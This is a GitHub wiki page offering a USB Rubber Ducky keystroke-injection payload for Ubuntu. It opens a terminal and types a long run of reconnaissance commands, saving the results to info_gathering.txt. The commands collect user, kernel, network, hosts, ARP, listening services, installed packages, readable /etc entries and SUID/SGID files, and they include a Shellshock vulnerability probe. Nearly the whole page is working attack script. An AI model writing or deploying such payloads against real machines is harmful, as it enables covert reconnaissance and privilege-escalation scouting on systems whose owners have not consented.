Payload Information Gathering Ubuntu - a3rd/USB-Rubber-Ducky GitHub Wiki

The following script is an information gatherer script which collects info from a running Ubuntu OS and saves it to a file named "info_gathering.txt". The info that the script retrieves is the logged in username, the distribution and kernel version of the running system, the applicability of the shellsock bug, the mounted filesystems, information which is related to the Network adapters, availability of development tools (python, g++), contents of the hosts file and the listening TCP/UDP connections. Apart from that it attempts to find readable folders inside the /etc folder and also prints the SUID and GUID files.

REM Info gathering Ubuntu 1.0 Script issues OS info gathering commands in terminal - by Captain_Harlock
DELAY 3000
ALT F2
DELAY 300
STRING gnome-terminal
DELAY 100
ENTER
DELAY 200
STRING clear
DELAY 10
ENTER
DELAY 50
STRING echo "Logged in user:" $USER > info_gathering.txt
ENTER
DELAY 50
STRING echo >> info_gathering.txt
DELAY 50
ENTER 
DELAY 50
STRING echo -n "Distribution Kernel Version:" >> info_gathering.txt
DELAY 50
ENTER
DELAY 50
STRING cat /etc/issue | cut -c1-13 >> info_gathering.txt
DELAY 50
ENTER
DELAY 50
STRING echo -n "uname results: " >> info_gathering.txt
DELAY 50
ENTER
DELAY 50
STRING uname -a >> info_gathering.txt
DELAY 50
ENTER
DELAY 50
DELAY 50
STRING echo >> info_gathering.txt
DELAY 50
ENTER
DELAY 50
STRING echo "Shellsock Bug Vulnerability" >> info_gathering.txt
DELAY 50
ENTER
STRING echo >> info_gathering.txt
ENTER 
DELAY 50
STRING env x='() { :;}; echo vulnerable' bash -c `echo hello` >> info_gathering.txt
DELAY 50
ENTER 
DELAY 50
DELAY 50
ENTER 
DELAY 50
STRING echo >> info_gathering.txt
DELAY 50
ENTER 
DELAY 50
STRING echo "Mounted filesystems" >> info_gathering.txt
ENTER 
DELAY 50
STRING mount -l >> info_gathering.txt
DELAY 50
ENTER
DELAY 100
STRING echo >> info_gathering.txt
ENTER
DELAY 50 
STRING echo "Network Configuration" >> info_gathering.txt
DELAY 50
ENTER
DELAY 50
STRING ifconfig -a | grep 'Link\|inet' >> info_gathering.txt
ENTER
DELAY 50
STRING 
STRING echo >> info_gathering.txt
ENTER
DELAY 50
STRING echo "Print Hosts" >> info_gathering.txt
ENTER
DELAY 50
STRING cat /etc/hosts >> info_gathering.txt
ENTER
DELAY 50
STRING 
STRING echo echo "Print ARP" >> info_gathering.txt
ENTER
DELAY 50 
STRING arp >> info_gathering.txt
ENTER
DELAY 50 
STRING echo >> info_gathering.txt
ENTER
DELAY 50
STRING echo "Development tools availability" >> info_gathering.txt
ENTER
DELAY 50
STRING which gcc >> info_gathering.txt
ENTER
DELAY 50
STRING which g++ >> info_gathering.txt
ENTER
DELAY 50
STRING which python >> info_gathering.txt
ENTER
DELAY 50
STRING echo >> info_gathering.txt
ENTER
DELAY 50
STRING echo "Print TCP/UDP Listening Services" >> info_gathering.txt
ENTER
DELAY 50
STRING netstat -tunlpe >> info_gathering.txt
ENTER
DELAY 300
STRING echo >> info_gathering.txt
ENTER
DELAY 50
STRING echo "Installed Packages" >> info_gathering.txt
DELAY 50
ENTER
DELAY 200
STRING dpkg -l >> info_gathering.txt
ENTER
DELAY 300
STRING echo >> info_gathering.txt
ENTER
DELAY 50
STRING echo "Find Readable Folders in /etc" >> info_gathering.txt
ENTER
DELAY 50
STRING find /etc -user `id -u` -perm -u=r -o -group `id -g` -perm -g=r -o -perm -o=r -ls 2> /dev/null >> info_gathering.txt
ENTER
DELAY 500
STRING echo >> info_gathering.txt
ENTER
DELAY 50
STRING echo "Find SUID and GUID files" >> info_gathering.txt
ENTER
DELAY 50
STRING find / -type f -perm -u=s -o -type f -perm -g=s -ls  2> /dev/null >> info_gathering.txt
DELAY 50
ENTER